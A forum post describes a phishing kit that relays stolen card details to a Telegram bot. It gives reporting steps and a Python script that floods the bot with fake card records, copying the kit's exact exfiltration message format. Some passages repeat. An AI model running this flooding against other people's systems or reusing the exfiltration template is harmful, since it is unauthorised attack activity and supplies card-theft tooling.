JerryMungo
Honorary Master
- Joined
- Jul 18, 2008
- Messages
- 37,576
- Reaction score
- 6,338
So there are a few common phishing kits out there right now, but one of the more common ones does all it's work totally front end. In a nutshell, it uses js to communicate with a Telegram bot to relay phished info from the form. If you're not a dev, it's fairly easy to just pop the page source into your preferred LLM and ask it how the page works (if you're interested), otherwise just look for the Telegram Chat ID and Bot Token in the source and spam them into oblivion with a script. Needless to say, use a VM or sandbox environment over VPN when you access any unknown URLs.
First prize is to look up the domain (not the short link they send on SMS or email, but the final URL's domain - get it from any URL expander service). With that info, see who the hosting service provider is for the site and google their abuse email addy then send them an alert with a copy of the phishing url you received - they're usually good with shutting these clowns down. In addition, email [email protected] and share the chat ID with them and the original phishing link.
But while you wait, you could run this python script...
What I'm about to post is for education purposes only.
For the card_details.csv file you can get dummy data from here:
pastebin.com
Running that keeps their telegram bot occupied 100% while it's running and any legit data will end up in the mass of spam.
First prize is to look up the domain (not the short link they send on SMS or email, but the final URL's domain - get it from any URL expander service). With that info, see who the hosting service provider is for the site and google their abuse email addy then send them an alert with a copy of the phishing url you received - they're usually good with shutting these clowns down. In addition, email [email protected] and share the chat ID with them and the original phishing link.
But while you wait, you could run this python script...
What I'm about to post is for education purposes only.
Code:
#!/usr/bin/env python3
"""
send.py
========================
TRAINING / DEMONSTRATION SCRIPT
USE ONLY WITH:
- your own Telegram bot token and your own chat ID, and
- synthetic / test card numbers (e.g. 4111 1111 1111 1111, 5555 5555 5555 4444).
--------------------------------------------------------------------------------
CSV FORMAT (file: card_details.csv, in the same directory)
--------------------------------------------------------------------------------
Header row (exact column names, order does not matter):
card_number,name_on_card,expiry_month,expiry_year,cvv,card_issuer,phone_number,ip
Example rows:
card_number,name_on_card,expiry_month,expiry_year,cvv,card_issuer,phone_number,ip
4111111111111111,Jane Test,08,2027,123,FNB Bank,0821234567,196.25.255.1
5555555555554444,John Sample,11,2028,456,Capitec Bank,0739876543,102.68.14.9
Field mapping to the original kit's Telegram message:
card_number -> Card number (kit field id "card")
name_on_card -> Name on card (kit field id "name")
expiry_month -> Expiry date MM (kit field id "month")
expiry_year -> Expiry date YY/YYYY (kit field id "year")
cvv -> Cvv (kit field id "cvv", posted as name "collection_name")
card_issuer -> Card Issuer (kit field id "issuer")
phone_number -> Phone number (kit field id "mobile")
ip -> IP (kit fetched this live from api.ipify.org; here it's a CSV column)
"""
import csv
import sys
import time
import os
import requests
# ---------------------------------------------------------------------------
# 1. Credentials — supply your OWN bot token and chat ID here.
# (The original kit hard-coded the attacker's token/chat ID in page source;
# we mirror that "stored in variables at the top" structure for the lesson.)
# ---------------------------------------------------------------------------
BOT_TOKEN = "123456789:AA...." # e.g. "123456789:AA...."
CHAT_ID = "1234567890" # e.g. "1234567890"
CSV_FILE = "card_details.csv"
SEND_DELAY_SECONDS = 1.0 # small pause between messages
# Columns the message builder expects.
EXPECTED_COLUMNS = [
"card_number", "name_on_card", "expiry_month", "expiry_year",
"cvv", "card_issuer", "phone_number", "ip",
]
def build_message(row: dict) -> str:
"""
Reproduce the kit's exact message template.
Original JavaScript template literal:
`<b>Card %0A</b><b>Card number</b> : ${text1} %0A...`
In the browser the kit put literal '%0A' into the URL; Telegram decodes that
to a newline. Here we use real '\n' characters and let `requests` URL-encode
them to '%0A', which produces an identical rendered message.
"""
return (
"<b>Card \n</b>"
f"<b>Card number</b> : {row['card_number']} \n"
f"<b>Name on card</b> : {row['name_on_card']} \n"
f"<b>Expiry date</b> : {row['expiry_month']}/{row['expiry_year']} \n"
f"<b>Cvv</b> : {row['cvv']} \n"
f"<b>Card Issuer</b> : {row['card_issuer']} \n"
f"<b>Phone number</b> : {row['phone_number']} \n"
f"<b>IP</b> : {row['ip']}"
)
def send_to_telegram(text: str) -> requests.Response:
"""
Send one message via the Telegram Bot API.
The kit used a fire-and-forget GET (XMLHttpRequest) with parse_mode=html.
We match parse_mode=html and pass the text as a query parameter so requests
encodes newlines to %0A, exactly as the browser did.
"""
url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
params = {
"chat_id": CHAT_ID,
"text": text,
"parse_mode": "html",
}
return requests.get(url, params=params, timeout=15)
def main() -> int:
if BOT_TOKEN.startswith("PUT_YOUR_") or CHAT_ID.startswith("PUT_YOUR_"):
print("[!] Set BOT_TOKEN and CHAT_ID at the top of the script first.")
return 1
if not os.path.exists(CSV_FILE):
print(f"[!] CSV file not found: {CSV_FILE}")
print(" Create it with headers: " + ",".join(EXPECTED_COLUMNS))
return 1
print("=" * 70)
print(" TRAINING DEMO: phishing-kit exfiltration emulator")
print(" Sending CSV rows to Telegram chat:", CHAT_ID)
print("=" * 70)
sent, failed = 0, 0
with open(CSV_FILE, newline="", encoding="utf-8") as fh:
reader = csv.DictReader(fh)
missing = [c for c in EXPECTED_COLUMNS if c not in (reader.fieldnames or [])]
if missing:
print(f"[!] CSV is missing required columns: {missing}")
print(" Required headers: " + ",".join(EXPECTED_COLUMNS))
return 1
for i, row in enumerate(reader, start=1):
# Normalise: strip whitespace, tolerate blank cells.
row = {k: (v or "").strip() for k, v in row.items()}
message = build_message(row)
print(f"\n--- Row {i} ---")
print(message.replace("\n", "\n "))
try:
resp = send_to_telegram(message)
if resp.ok and resp.json().get("ok"):
print(f"[+] Row {i} delivered.")
sent += 1
else:
print(f"[-] Row {i} API error: {resp.status_code} {resp.text}")
failed += 1
except requests.RequestException as exc:
print(f"[-] Row {i} network error: {exc}")
failed += 1
time.sleep(SEND_DELAY_SECONDS)
print("\n" + "=" * 70)
print(f" Done. Delivered: {sent} Failed: {failed}")
print("=" * 70)
return 0
if __name__ == "__main__":
sys.exit(main())
For the card_details.csv file you can get dummy data from here:
card_number,name_on_card,expiry_month,expiry_year,cvv,card_issuer,phone_number,i - Pastebin.com
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Running that keeps their telegram bot occupied 100% while it's running and any legit data will end up in the mass of spam.